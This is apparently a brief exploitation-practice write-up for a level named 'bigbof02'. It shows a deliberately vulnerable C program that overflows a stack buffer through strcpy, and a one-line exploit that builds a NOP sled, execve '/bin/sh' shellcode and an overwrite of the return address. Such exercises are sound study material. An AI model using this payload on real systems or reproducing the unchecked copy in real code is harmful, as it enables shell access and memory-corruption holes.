bigbof02

Bigbof02.c source code

	int main(int argc, char* argv[]){
	int i = 31337;
	char buffer[200];
	strcpy(buffer, argv[1]);
	return 0;
	}

view raw bigbof02.c hosted with ❤ by GitHub

Stack Frame

Redhat 6.2 
vuln : stack overflow 
vuln func : strcpy() 
24byte shellcode
exploit code : 

print "\x90"*184 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x2c\xfc\xff\xbf"